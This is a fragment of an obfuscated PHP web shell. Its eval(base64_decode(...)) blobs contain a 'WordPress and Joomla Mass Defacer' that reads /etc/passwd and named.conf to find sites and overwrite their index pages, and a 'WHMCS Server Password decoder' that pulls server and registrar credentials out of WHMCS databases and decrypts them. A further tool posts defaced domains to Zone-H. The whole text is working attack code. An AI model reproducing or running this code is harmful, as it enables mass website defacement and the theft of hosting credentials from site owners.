JGorKykuJzwvdGQ+PHRkIGFsaWduPSJjZW50ZXIiPicuKCRpKyspLic8L3RkPjx0ZD48YSBocmVmPSJodHRwOi8vJy4kZG9tYWluLiciIHRhcmdldD0iYmxhbmsiPicuJGRvbWFpbi4nPC9hPjwvdGQ+JzsNCmVjaG8gJzx0ZCBhbGlnbj0iY2VudGVyIj48Zm9udCBjb2xvcj0icGluayI+Sk9PTUxBPC9mb250PjwvdGQ+JzsNCiRyZXMgPSBpbmRleF9jaGFuZ2VyX2pvb21sYSgkY29uZmlnMDEsICRkZWYsICRkb21haW4pOw0KZWNobyAnPHRkPicuJHJlc1snb3V0cHV0J10uJzwvdGQ+JzsNCmlmKCRyZXNbJ2NvbmQnXSkgew0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxzcGFuIGNsYXNzPSJncmVlbiI+REVGQUNFRDwvc3Bhbj48L3RkPic7DQpmd3JpdGUoJG91dHB1dCwgJ2h0dHA6Ly8nLiRkb21haW4uIjxicj4iKTsNCiRjb3VudDErKzsNCn0gZWxzZSB7DQplY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PHNwYW4gY2xhc3M9InJlZCI+RkFJTEVEPC9zcGFuPjwvdGQ+JzsNCn0NCmVjaG8gJzwvdHI+JzsNCiAgICAgICAgfQ0KDQogICAgICAgIGlmKCRjb25maWcwMiAmJiBwcmVnX21hdGNoKCcvREJfTkFNRS9pJywkY29uZmlnMDIpKXsNCmVjaG8gJzx0ciAnLiRjbHMuJz48dGQgYWxpZ249ImNlbnRlciI+Jy4oJGorKykuJzwvdGQ+PHRkPjxhIGhyZWY9Imh0dHA6Ly8nLiRkb21haW4uJyIgdGFyZ2V0PSJibGFuayI+Jy4kZG9tYWluLic8L2E+PC90ZD4nOw0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxmb250IGNvbG9yPSJ5ZWxsb3ciPldPUkRQUkVTUzwvZm9udD48L3RkPic7DQokcmVzID0gaW5kZXhfY2hhbmdlcl93cCgkY29uZmlnMDIsICRkZWYpOw0KZWNobyAnPHRkPicuJHJlc1snb3V0cHV0J10uJzwvdGQ+JzsNCmlmKCRyZXNbJ2NvbmQnXSkgew0KZWNobyAnPHRkIGFsaWduPSJjZW50ZXIiPjxzcGFuIGNsYXNzPSJncmVlbiI+REVGQUNFRDwvc3Bhbj48L3RkPic7DQpmd3JpdGUoJG91dHB1dCwgJ2h0dHA6Ly8nLiRkb21haW4uIjxicj4iKTsNCiRjb3VudDIrKzsNCn0gZWxzZSB7DQplY2hvICc8dGQgYWxpZ249ImNlbnRlciI+PHNwYW4gY2xhc3M9InJlZCI+RkFJTEVEPC9zcGFuPjwvdGQ+JzsNCn0NCmVjaG8gJzwvdHI+JzsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBlY2hvICc8L3RhYmxlPic7DQogICAgZWNobyAnPGhyLz4nOw0KICAgIGVjaG8gJ1RvdGFsIERlZmFjZWQgPSAnLigkY291bnQxKyRjb3VudDIpLicgKEpPT01MQSA9ICcuJGNvdW50MS4nLCBXT1JEUFJFU1MgPSAnLiRjb3VudDIuJyk8YnIgLz4nOw0KICAgIGVjaG8gJzxhIGhyZWY9ImRlZmFjZWQuaHRtbCIgdGFyZ2V0PSJfYmxhbmsiPlZpZXcgVG90YWwgRGVmYWNlZCB1cmxzPC9hPjxiciAvPic7DQogICAgaWYoJGNvdW50MSskY291bnQyID4gMCl7DQogICAgICAgIGVjaG8gJzxhIGhyZWY9IicuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uJz9wYXNzPScuJF9HRVRbJ3Bhc3MnXS4nJnpoPTEiIHRhcmdldD0iX2JsYW5rIiBpZD0iemhzbyI+U2VuZCB0byBab25lLUg8L2E+JzsNCiAgICB9DQp9DQplY2hvICc8IURPQ1RZUEUgaHRtbD4NCjxodG1sPg0KPGhlYWQ+DQo8bGluayBocmVmPSJodHRwOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1PcmJpdHJvbjo3MDAiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiPg0KDQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBjaGFuZ2UoKSB7DQppZihkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ3JjZFwnKS5jaGVja2VkID09IHRydWUpIHsNCmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwndHJhXCcpLnN0eWxlLmRpc3BsYXkgPSBcJ1wnOw0KfSBlbHNlIHsNCmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwndHJhXCcpLnN0eWxlLmRpc3BsYXkgPSBcJ25vbmVcJzsNCn0NCiAgICAgICAgfQ0KICAgICAgICBmdW5jdGlvbiBoaWRlKCkgew0KZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCd0cmFcJykuc3R5bGUuZGlzcGxheSA9IFwnbm9uZVwnOw0KICAgICAgICB9DQogICAgPC9zY3JpcHQ+DQo8L2hlYWQ+DQo8Ym9keSBiYWNrZ3JvdW5kLWltYWdlOnVybChcJ2JrLmpwZ1wnKT4NCjxkaXYgY2xhc3M9ImZvb3RlciI+DQo8L2Rpdj4NCjxoMiBjbGFzcz0iazJsbDMzZDIiPldvcmRwcmVzcyBhbmQgSm9vbWxhIE1hc3MgRGVmYWNlcjwvaDI+JzsNCmlmKCFpc3NldCgkX1BPU1RbJ2Zvcm1fYWN0aW9uJ10pICYmICFpc3NldCgkX0dFVFsnemgnXSkgJiYgIWlzc2V0KCRfR0VUWydtb2RlJ10pICYmICFpc3NldCgkX0dFVFsna2lsbCddKSl7DQplY2hvICc8ZGl2IGFsaWduPSJjZW50ZXIiPg0KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+DQo8dGFibGU+DQo8dHI+PHRkPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJyYWRpbyIgdmFsdWU9IjEiIG5hbWU9Im1vZGUiIGNoZWNrZWQ9ImNoZWNrZWQiIG9uY2xpY2s9ImhpZGUoKTsiPjwvdGQ+PHRkPnVzaW5nIC9ldGMvbmFtZWQuY29uZiAoJy4oaXNfcmVhZGFibGUoJy9ldGMvbmFtZWQuY29uZicpPyc8c3BhbiBjbGFzcz0iZ3JlZW4iPlJFQURBQkxFPC9zcGFuPic6JzxzcGFuIGNsYXNzPSJyZWQiPk5PVCBSRUFEQUJMRTwvc3Bhbj4nKS4nKTwvdGQ+PC90cj4NCjx0cj48dGQ+PGlucHV0IHR5cGU9InJhZGlvIiB2YWx1ZT0iMiIgbmFtZT0ibW9kZSIgb25jbGljaz0iaGlkZSgpOyI+PC90ZD48dGQ+dXNpbmcgL2V0Yy9wYXNzd2QgKCcuKGlzX3JlYWRhYmxlKCcvZXRjL3Bhc3N3ZCcpPyc8c3BhbiBjbGFzcz0iZ3JlZW4iPlJFQURBQkxFPC9zcGFuPic6JzxzcGFuIGNsYXNzPSJyZWQiPk5PVCBSRUFEQUJMRTwvc3Bhbj4nKS4nKTwvdGQ+PC90cj4NCjx0cj48dGQ+PGlucHV0IHR5cGU9InJhZGlvIiB2YWx1ZT0iMiIgbmFtZT0ibW9kZSIgaWQ9InJjZCIgb25jbGljaz0iY2hhbmdlKCk7Ij48L3RkPjx0ZD5tYW51YWwgY29weSBvZiAvZXRjL3Bhc3N3ZDwvdGQ+PC90cj4NCjx0ciBpZD0idHJhIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiPjx0ZD48L3RkPjx0ZD48dGV4dGFyZWEgY29scz0iNDAiIHJvd3M9IjUiIG5hbWU9Im1hbl9kYXRhIj48L3RleHRhcmVhPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8YnIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZvcm1fYWN0aW9uIiB2YWx1ZT0iMSI+DQo8dGFibGU+DQo8dHI+PHRkPjxiPmluZGV4IHVybDogPC9iPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiBzaXplPSIzNSIgdHlwZT0idGV4dCIgbmFtZT0iZGVmcGFnZSIgdmFsdWU9IiI+PC90cj48L3RkPg0KPC90YWJsZT4NCjxpbnB1dCBjbGFzcz1zdWJtaXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQXR0YWNrICEiIG5hbWU9IlN1Ym1pdCI+DQo8L2Zvcm0+JzsNCiAgICB9DQokbWlsYWZfZWxfaW5kZXggPSAkX1BPU1RbJ2RlZnBhZ2UnXTsNCiAgICBpZigkX1BPU1RbJ2Zvcm1fYWN0aW9uJ10gPT0gMSkgew0KaWYoJF9QT1NUWydtb2RlJ109PTEpIHsgZXhlY19tb2RlXzEoJG1pbGFmX2VsX2luZGV4LCAkaGFja2VyKTsgfQ0KaWYoJF9QT1NUWydtb2RlJ109PTIpIHsgZXhlY19tb2RlXzIoJG1pbGFmX2VsX2luZGV4KTsgfQ0KaWYoJF9QT1NUWydtb2RlJ109PTMpIHsgZXhlY19tb2RlXzMoJG1pbGFmX2VsX2luZGV4KTsgfQ0KICAgIH0NCiAgICBpZigkX0dFVFsnbW9kZSddPT0xKSB7IGV4ZWNfbW9kZV8xKCRtaWxhZl9lbF9pbmRleCk7IH0NCiAgICBlY2hvICcNCgk8aDMgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsiPiZjb3B5OyBYTWlyaWNhbCZuYnNwOyZuYnNwOzxhIGhyZWY9Imh0dHA6Ly9mYWNlYm9vay5jb20vIiB0YXJnZXQ9Il9ibGFuayI+PGltZyBzcmM9ImF2YS5qcGciIHdpZHRoPTMwPjwvYT48L2gzPg0KCTwvYm9keT4NCjwvaHRtbD4nOw=='));
  242. exit;
  243. }
  244. elseif(isset($_GET['x']) && $_GET['x'] == 'whmcs'){
  245. eval (base64_decode('ZnVuY3Rpb24gZGVjcnlwdCAoJHN0cmluZywkY2NfZW5jcnlwdGlvbl9oYXNoKQ0Kew0KDQoJJGtleSA9IG1kNSAobWQ1ICgkY2NfZW5jcnlwdGlvbl9oYXNoKSkgLiBtZDUgKCRjY19lbmNyeXB0aW9uX2hhc2gpOw0KCSRoYXNoX2tleSA9IF9oYXNoICgka2V5KTsNCgkkaGFzaF9sZW5ndGggPSBzdHJsZW4gKCRoYXNoX2tleSk7DQoJJHN0cmluZyA9IGJhc2U2NF9kZWNvZGUgKCRzdHJpbmcpOw0KCSR0bXBfaXYgPSBzdWJzdHIgKCRzdHJpbmcsIDAsICRoYXNoX2xlbmd0aCk7DQoJJHN0cmluZyA9IHN1YnN0ciAoJHN0cmluZywgJGhhc2hfbGVuZ3RoLCBzdHJsZW4gKCRzdHJpbmcpIC0gJGhhc2hfbGVuZ3RoKTsNCgkkaXYgPSAkb3V0ID0gJyc7DQoJJGMgPSAwOw0KCXdoaWxlICgkYyA8ICRoYXNoX2xlbmd0aCkNCgl7DQoJCSRpdiAuPSBjaHIgKG9yZCAoJHRtcF9pdlskY10pIF4gb3JkICgkaGFzaF9rZXlbJGNdKSk7DQoJCSsrJGM7DQoJfQ0KDQoJJGtleSA9ICRpdjsNCgkkYyA9IDA7DQoJd2hpbGUgKCRjIDwgc3RybGVuICgkc3RyaW5nKSkNCgl7DQoJCWlmICgoJGMgIT0gMCBBTkQgJGMgJSAkaGFzaF9sZW5ndGggPT0gMCkpDQoJCXsNCgkJCSRrZXkgPSBfaGFzaCAoJGtleSAuIHN1YnN0ciAoJG91dCwgJGMgLSAkaGFzaF9sZW5ndGgsICRoYXNoX2xlbmd0aCkpOw0KCQl9DQoNCgkJJG91dCAuPSBjaHIgKG9yZCAoJGtleVskYyAlICRoYXNoX2xlbmd0aF0pIF4gb3JkICgkc3RyaW5nWyRjXSkpOw0KCQkrKyRjOw0KCX0NCg0KCXJldHVybiAkb3V0Ow0KfQ0KDQoNCmZ1bmN0aW9uIF9oYXNoICgkc3RyaW5nKQ0Kew0KCWlmIChmdW5jdGlvbl9leGlzdHMgKCdzaGExJykpDQoJew0KCQkkaGFzaCA9IHNoYTEgKCRzdHJpbmcpOw0KCX0NCgllbHNlDQoJew0KCQkkaGFzaCA9IG1kNSAoJHN0cmluZyk7DQoJfQ0KDQoJJG91dCA9ICcnOw0KCSRjID0gMDsNCgl3aGlsZSAoJGMgPCBzdHJsZW4gKCRoYXNoKSkNCgl7DQoJCSRvdXQgLj0gY2hyIChoZXhkZWMgKCRoYXNoWyRjXSAuICRoYXNoWyRjICsgMV0pKTsNCgkJJGMgKz0gMjsNCgl9DQoNCglyZXR1cm4gJG91dDsNCn0NCg0KIGlmKCRfUE9TVFsnZm9ybV9hY3Rpb24nXSA9PSAxICkNCiB7DQogLy9pbmNsdWRlKCRmaWxlKTsNCg0KICRmaWxlPSgkX1BPU1RbJ2ZpbGUnXSk7DQokdGV4dD1maWxlX2dldF9jb250ZW50cygkZmlsZSk7DQoNCiR0ZXh0PSBzdHJfcmVwbGFjZSgiPD9waHAiLCAiIiwgJHRleHQpOw0KJHRleHQ9IHN0cl9yZXBsYWNlKCI8PyIsICIiLCAkdGV4dCk7DQokdGV4dD0gc3RyX3JlcGxhY2UoIj8+IiwgIiIsICR0ZXh0KTsNCg0KZXZhbCgkdGV4dCk7DQoNCiAgICAkbGluaz1teXNxbF9jb25uZWN0KCRkYl9ob3N0LCRkYl91c2VybmFtZSwkZGJfcGFzc3dvcmQpIDsNCgkgICAgbXlzcWxfc2VsZWN0X2RiKCRkYl9uYW1lLCRsaW5rKSA7DQoNCiRxdWVyeSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIHRibHNlcnZlcnMiKTsNCg0Kd2hpbGUoJHYgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnkpKSB7DQoNCiRpcGFkZHJlc3MgPSAkdlsnaXBhZGRyZXNzJ107DQokdXNlcm5hbWUgPSAkdlsndXNlcm5hbWUnXTsNCiR0eXBlID0gJHZbJ3R5cGUnXTsNCiRhY3RpdmUgPSAkdlsnYWN0aXZlJ107DQokaG9zdG5hbWUgPSAkdlsnaG9zdG5hbWUnXTsNCg0KZWNobygiPGNlbnRlcj48dGFibGUgYm9yZGVyPScxJz4iKTsNCiRwYXNzd29yZCA9IGRlY3J5cHQgKCR2WydwYXNzd29yZCddLCAkY2NfZW5jcnlwdGlvbl9oYXNoKTsNCmVjaG8oIjx0cj48dGQ+VHlwZTwvdGQ+PHRkPiR0eXBlPC90ZD48L3RyPiIpOw0KZWNobygiPHRyPjx0ZD5BY3RpdmU8L3RkPjx0ZD4kYWN0aXZlPC90ZD48L3RyPiIpOw0KZWNobygiPHRyPjx0ZD5Ib3N0bmFtZTwvdGQ+PHRkPiRob3N0bmFtZTwvdGQ+PC90cj4iKTsNCmVjaG8oIjx0cj48dGQ+SXA8L3RkPjx0ZD4kaXBhZGRyZXNzPC90ZD48L3RyPiIpOw0KZWNobygiPHRyPjx0ZD5Vc2VybmFtZTwvdGQ+PHRkPiR1c2VybmFtZTwvdGQ+PC90cj4iKTsNCmVjaG8oIjx0cj48dGQ+UGFzc3dvcmQ8L3RkPjx0ZD4kcGFzc3dvcmQ8L3RkPjwvdHI+Iik7DQoNCg0KZWNobyAiPC90YWJsZT48YnI+PGJyPjwvY2VudGVyPiI7DQoNCn0NCg0KICAgICRsaW5rPW15c3FsX2Nvbm5lY3QoJGRiX2hvc3QsJGRiX3VzZXJuYW1lLCRkYl9wYXNzd29yZCkgOw0KCSAgICBteXNxbF9zZWxlY3RfZGIoJGRiX25hbWUsJGxpbmspIDsNCg0KJHF1ZXJ5ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gdGJscmVnaXN0cmFycyIpOw0KZWNobygiPGNlbnRlcj5Eb21haW4gUmVzZWxsZXIgPGJyPjx0YWJsZSBib3JkZXI9JzEnPiIpOw0KZWNobygiPHRyPjx0ZD5SZWdpc3RyYXI8L3RkPjx0ZD5TZXR0aW5nPC90ZD48dGQ+VmFsdWU8L3RkPjwvdHI+Iik7DQp3aGlsZSgkdiA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsNCg0KJHJlZ2lzdHJhciAJPSAkdlsncmVnaXN0cmFyJ107DQokc2V0dGluZyA9ICR2WydzZXR0aW5nJ107DQokdmFsdWUgPSBkZWNyeXB0ICgkdlsndmFsdWUnXSwgJGNjX2VuY3J5cHRpb25faGFzaCk7DQppZiAoJHZhbHVlPT0iIikgew0KJHZhbHVlPTA7DQp9DQokcGFzc3dvcmQgPSBkZWNyeXB0ICgkdlsncGFzc3dvcmQnXSwgJGNjX2VuY3J5cHRpb25faGFzaCk7DQplY2hvKCI8dHI+PHRkPiRyZWdpc3RyYXI8L3RkPjx0ZD4kc2V0dGluZzwvdGQ+PHRkPiR2YWx1ZTwvdGQ+PC90cj4iKTsNCg0KDQoNCg0KDQp9DQplY2hvICI8L3RhYmxlPjxicj48YnI+PC9jZW50ZXI+IjsNCn0NCg0KDQoNCiBpZigkX1BPU1RbJ2Zvcm1fYWN0aW9uJ10gPT0gMiApDQogew0KIC8vaW5jbHVkZSgkZmlsZSk7DQoNCiAkZGJfaG9zdD0oJF9QT1NUWydkYl9ob3N0J10pOw0KICRkYl91c2VybmFtZT0oJF9QT1NUWydkYl91c2VybmFtZSddKTsNCiAkZGJfcGFzc3dvcmQ9KCRfUE9TVFsnZGJfcGFzc3dvcmQnXSk7DQogJGRiX25hbWU9KCRfUE9TVFsnZGJfbmFtZSddKTsNCiAkY2NfZW5jcnlwdGlvbl9oYXNoPSgkX1BPU1RbJ2NjX2VuY3J5cHRpb25faGFzaCddKTsNCg0KDQoNCg0KICAgICRsaW5rPW15c3FsX2Nvbm5lY3QoJGRiX2hvc3QsJGRiX3VzZXJuYW1lLCRkYl9wYXNzd29yZCkgOw0KCSAgICBteXNxbF9zZWxlY3RfZGIoJGRiX25hbWUsJGxpbmspIDsNCg0KJHF1ZXJ5ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gdGJsc2VydmVycyIpOw0KDQp3aGlsZSgkdiA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsNCg0KJGlwYWRkcmVzcyA9ICR2WydpcGFkZHJlc3MnXTsNCiR1c2VybmFtZSA9ICR2Wyd1c2VybmFtZSddOw0KJHR5cGUgPSAkdlsndHlwZSddOw0KJGFjdGl2ZSA9ICR2WydhY3RpdmUnXTsNCiRob3N0bmFtZSA9ICR2Wydob3N0bmFtZSddOw0KDQplY2hvKCI8Y2VudGVyPjx0YWJsZSBib3JkZXI9JzEnPiIpOw0KJHBhc3N3b3JkID0gZGVjcnlwdCAoJHZbJ3Bhc3N3b3JkJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpOw0KZWNobygiPHRyPjx0ZD5UeXBlPC90ZD48dGQ+JHR5cGU8L3RkPjwvdHI+Iik7DQplY2hvKCI8dHI+PHRkPkFjdGl2ZTwvdGQ+PHRkPiRhY3RpdmU8L3RkPjwvdHI+Iik7DQplY2hvKCI8dHI+PHRkPkhvc3RuYW1lPC90ZD48dGQ+JGhvc3RuYW1lPC90ZD48L3RyPiIpOw0KZWNobygiPHRyPjx0ZD5JcDwvdGQ+PHRkPiRpcGFkZHJlc3M8L3RkPjwvdHI+Iik7DQplY2hvKCI8dHI+PHRkPlVzZXJuYW1lPC90ZD48dGQ+JHVzZXJuYW1lPC90ZD48L3RyPiIpOw0KZWNobygiPHRyPjx0ZD5QYXNzd29yZDwvdGQ+PHRkPiRwYXNzd29yZDwvdGQ+PC90cj4iKTsNCg0KDQplY2hvICI8L3RhYmxlPjxicj48YnI+PC9jZW50ZXI+IjsNCg0KfQ0KDQoNCiAgICAkbGluaz1teXNxbF9jb25uZWN0KCRkYl9ob3N0LCRkYl91c2VybmFtZSwkZGJfcGFzc3dvcmQpIDsNCgkgICAgbXlzcWxfc2VsZWN0X2RiKCRkYl9uYW1lLCRsaW5rKSA7DQoNCiRxdWVyeSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIHRibHJlZ2lzdHJhcnMiKTsNCmVjaG8oIjxjZW50ZXI+RG9tYWluIFJlc2VsbGVyIDxicj48dGFibGUgYm9yZGVyPScxJz4iKTsNCmVjaG8oIjx0cj48dGQ+UmVnaXN0cmFyPC90ZD48dGQ+U2V0dGluZzwvdGQ+PHRkPlZhbHVlPC90ZD48L3RyPiIpOw0Kd2hpbGUoJHYgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnkpKSB7DQoNCiRyZWdpc3RyYXIgCT0gJHZbJ3JlZ2lzdHJhciddOw0KJHNldHRpbmcgPSAkdlsnc2V0dGluZyddOw0KJHZhbHVlID0gZGVjcnlwdCAoJHZbJ3ZhbHVlJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpOw0KaWYgKCR2YWx1ZT09IiIpIHsNCiR2YWx1ZT0wOw0KfQ0KJHBhc3N3b3JkID0gZGVjcnlwdCAoJHZbJ3Bhc3N3b3JkJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpOw0KZWNobygiPHRyPjx0ZD4kcmVnaXN0cmFyPC90ZD48dGQ+JHNldHRpbmc8L3RkPjx0ZD4kdmFsdWU8L3RkPjwvdHI+Iik7DQoNCg0KDQoNCg0KfQ0KZWNobyAiPC90YWJsZT48YnI+PGJyPjwvY2VudGVyPiI7DQp9DQoNCg0KDQoNCj8+PGNlbnRlcj48Ym9keT4NCiA8c3R5bGU+DQoNCkJPRFkgeyBTQ1JPTExCQVItQkFTRS1DT0xPUjogIzE5MTkxOTsgU0NST0xMQkFSLUFSUk9XLUNPTE9SOiBvbGl2ZTsgICBjb2xvcjogd2hpdGU7fQ0KdGV4dGFyZWF7YmFja2dyb3VuZC1jb2xvcjojMTkxOTE5O2NvbG9yOnJlZDtmb250LXdlaWdodDpib2xkO2ZvbnQtc2l6ZTogMTJweDtmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2O30NCmlucHV0e0ZPTlQtV0VJR0hUOm5vcm1hbDtiYWNrZ3JvdW5kLWNvbG9yOiAjMTkxOTE5O2ZvbnQtc2l6ZTogMTNweDtmb250LXdlaWdodDpib2xkO2NvbG9yOiByZWQ7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7aGVpZ2h0OjE3fQ0KPC9zdHlsZT4NCjxjZW50ZXI+DQo8aDEgY2xhc3M9J2sybGwzM2QyJz5bIH5+IFdITUNTIFNlcnZlciBQYXNzd29yZCBkZWNvZGVyIH5+IF08L2gxPjxicj48YnI+DQo8Zm9udCBjb2xvcj0iI2Y2MDYwYiIgc2l6ZT0nKzInPlN5bWxpbmsgdG8gY29uZmlndXJhdGlvbi5waHAgb2YgV0hNQ1M8L2ZvbnQ+PGJyPg0KPC9jZW50ZXI+DQo8Rk9STSBhY3Rpb249IiIgIG1ldGhvZD0icG9zdCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmb3JtX2FjdGlvbiIgdmFsdWU9IjEiPg0KPGJyPg0KIDxpbnB1dCBjbGFzcz0naW5wdXR6JyB0eXBlPSJ0ZXh0IiBzaXplPSIzMCIgbmFtZT0iZmlsZSIgdmFsdWU9IiI+DQo8YnI+DQo8SU5QVVQgY2xhc3M9c3VibWl0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCIgbmFtZT0iU3VibWl0Ij4NCjwvRk9STT4NCjxocj4NCg0KPGJyPg0KPGNlbnRlcj4NCjxmb250IGNvbG9yPSIjZjYwNjBiIiBzaXplPScrMic+REIgY29uZmlndXJhdGlvbiBvZiBXSE1DUzwvZm9udD48YnI+DQo8L2NlbnRlcj4NCjxGT1JNIGFjdGlvbj0iIiAgbWV0aG9kPSJwb3N0Ij4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZvcm1fYWN0aW9uIiB2YWx1ZT0iMiI+DQo8YnI+DQo8dGFibGUgYm9yZGVyPTE+DQoNCjx0cj48dGQ+ZGJfaG9zdCA8L3RkPjx0ZD48aW5wdXQgY2xhc3M9J2lucHV0eicgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIG5hbWU9ImRiX2hvc3QiIHZhbHVlPSJsb2NhbGhvc3QiPjwvdGQ+PC90cj4NCjx0cj48dGQ+ZGJfdXNlcm5hbWUgPC90ZD48dGQ+PGlucHV0IGNsYXNzPSdpbnB1dHonIHR5cGU9InRleHQiIHNpemU9IjMwIiBuYW1lPSJkYl91c2VybmFtZSIgdmFsdWU9IiI+PC90ZD48L3RyPg0KPHRyPjx0ZD5kYl9wYXNzd29yZDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz0naW5wdXR6JyB0eXBlPSJ0ZXh0IiBzaXplPSIzMCIgbmFtZT0iZGJfcGFzc3dvcmQiIHZhbHVlPSIiPjwvdGQ+PC90cj4NCjx0cj48dGQ+ZGJfbmFtZTwvdGQ+PHRkPjxpbnB1dCBjbGFzcz0naW5wdXR6JyB0eXBlPSJ0ZXh0IiBzaXplPSIzMCIgbmFtZT0iZGJfbmFtZSIgdmFsdWU9IiI+PHRkPjwvdHI+DQo8dHI+PHRkPmNjX2VuY3J5cHRpb25faGFzaDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz0naW5wdXR6JyB0eXBlPSJ0ZXh0IiBzaXplPSIzMCIgbmFtZT0iY2NfZW5jcnlwdGlvbl9oYXNoIiB2YWx1ZT0iIj48L3RkPjwvdHI+DQoNCjwvdGFibGU+DQo8YnI+DQo8SU5QVVQgY2xhc3M9c3VibWl0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCIgbmFtZT0iU3VibWl0Ij4NCjwvRk9STT4NCjxocj4NCjxjZW50ZXI+DQo8Zm9udCBjb2xvcj0iIzAwNjZGRiIgc2l6ZT0nKzInPlBhc3N3b3JkIGRlY29kZXI8L2ZvbnQ+PGJyPg0KPD8NCiBpZigkX1BPU1RbJ2Zvcm1fYWN0aW9uJ10gPT0gMyApDQogew0KDQoNCg0KICRwYXNzd29yZD0oJF9QT1NUWydwYXNzd29yZCddKTsNCg0KICRjY19lbmNyeXB0aW9uX2hhc2g9KCRfUE9TVFsnY2NfZW5jcnlwdGlvbl9oYXNoJ10pOw0KDQoNCiRwYXNzd29yZCA9IGRlY3J5cHQgKCRwYXNzd29yZCwgJGNjX2VuY3J5cHRpb25faGFzaCk7DQoNCmVjaG8oIlBhc3N3b3JkIGlzICIuJHBhc3N3b3JkKTsNCg0KfQ0KPz4NCjwvY2VudGVyPg0KPEZPUk0gYWN0aW9uPSIiICBtZXRob2Q9InBvc3QiPg0KPGlucHV0IGNsYXNzPSdpbnB1dHonIHR5cGU9ImhpZGRlbiIgbmFtZT0iZm9ybV9hY3Rpb24iIHZhbHVlPSIzIj4NCjxicj4NCjx0YWJsZSBib3JkZXI9MT4NCg0KPHRyPjx0ZD5QYXNzd29yZDwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIzMCIgbmFtZT0icGFzc3dvcmQiIHZhbHVlPSIiPjwvdGQ+PC90cj4NCjx0cj48dGQ+Y2NfZW5jcnlwdGlvbl9oYXNoPC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIHNpemU9IjMwIiBuYW1lPSJjY19lbmNyeXB0aW9uX2hhc2giIHZhbHVlPSIiPjwvdGQ+PC90cj4NCg0KPC90YWJsZT4NCjxicj4NCjxJTlBVVCBjbGFzcz1zdWJtaXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU3VibWl0IiBuYW1lPSJTdWJtaXQiPg0KPC9GT1JNPg0KPGhyPg0KPC9ib2R5PjwvaHRtbD4='));
  246. exit;
  247. }
  248. elseif(isset($_GET['x']) && ($_GET['x'] == 'zone-h')){$defacer='ViRusx';$display_details=0;$method=14;$reason=5;error_reporting(0);set_time_limit(0);if(!function_exists('curl_init')){echo "CURL ERROR\n";exit;}$cli=(isset($argv[0]))?1:0;if($cli==1){$file=$argv[1];$sites=file($file);}if(function_exists(apache_setenv)){@apache_setenv('no-gzip', 1);}@ini_set('zlib.output_compression', 0);@ini_set('implicit_flush', 1);@ob_implicit_flush(true);@ob_end_flush();if(isset($_POST['domains'])){$sites=explode("\n",$_POST['domains']);}if (file_exists($_FILES["file"]["tmp_name"])){$file=$_FILES["file"]["tmp_name"];$sites=file($file);}
  249. echo <<<EOF
  250. <div align="center"><table width="67%"><tr><td align=center></td></tr></table><br><pre>
  251. EOF;
  252. if(!isset($_POST['defacer'])){
  253. echo <<<EOF
  254. <div class="mybox"><h2 class="k2ll33d2">Zone-H Poster</h2><form enctype="multipart/form-data" method="POST"><div align='center'><span lang='en-us'><b>Defacer&nbsp;:</b></span><input class='inputz' name="defacer" type="text" value="$defacer" /><br/><table width='55%'><tr><td align='center'><span lang='en-us'><b>Domains:</b></span><p align='center'>&nbsp;<textarea rows='30' name='domains' placeholder=' put domains here' cols='50' class='inputz'></textarea><br/><span lang='en-us'><b>OR</b></span><br/>Submit form .txt file:<br/><input name="file" type="file" /><br><br/><br/><input class='inputzbut' type='submit' value='Send' name='submit'></p></td></tr></table></form></div>
  255. EOF;
